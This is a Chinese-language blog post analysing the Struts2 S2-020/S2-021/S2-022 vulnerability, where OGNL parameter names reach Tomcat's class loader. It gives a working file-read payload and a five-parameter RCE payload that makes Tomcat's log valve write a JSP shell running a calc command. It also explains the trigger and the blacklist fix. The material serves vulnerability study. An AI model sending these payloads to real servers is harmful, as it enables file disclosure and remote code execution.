前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
S2-017 是个 DOS,S2-018 不知道是什么东西,S2-019 的描述也很模糊。
S2-020,S2-021,S2-022 都是同一个漏洞利用。
环境搭建
2.3.15.1 版本 struts2 + Tomcat 7(Tomcat 9 中的属性路径发生了变化,payload 无法使用)。
漏洞利用
文件读取:
1
| class.classLoader.resources.dirContext.docBase=D:/
|
RCE(Tomcat 8):
1 2 3 4 5
| class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.classLoader.resources.context.parent.pipeline.first.prefix=shell class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1 <%Runtime.getRuntime().exec("calc");%>
|
漏洞分析
没什么好分析的,就是之前 S2-003/S2-005/S2-009 的触发点,只不过利用方式不是直接将变量名作为 OGNL 表达式解析来利用,而是将变量名作为 OGNL 表达式解析,通过表达式获取 Tomcat 中的属性(比如项目目录/日志目录),再将变量值赋值进去来利用的。
漏洞修复
修改了正则表达式黑名单,过滤了 class 等关键词。
参考文章:
https://wooyun.js.org/drops/Struts2%20Tomcat%20class.classLoader.resources.dirContext.docBase%E8%B5%8B%E5%80%BC%E9%80%A0%E6%88%90%E7%9A%84DoS%E5%8F%8A%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E5%88%A9%E7%94%A8!.html
https://www.freebuf.com/articles/web/31039.html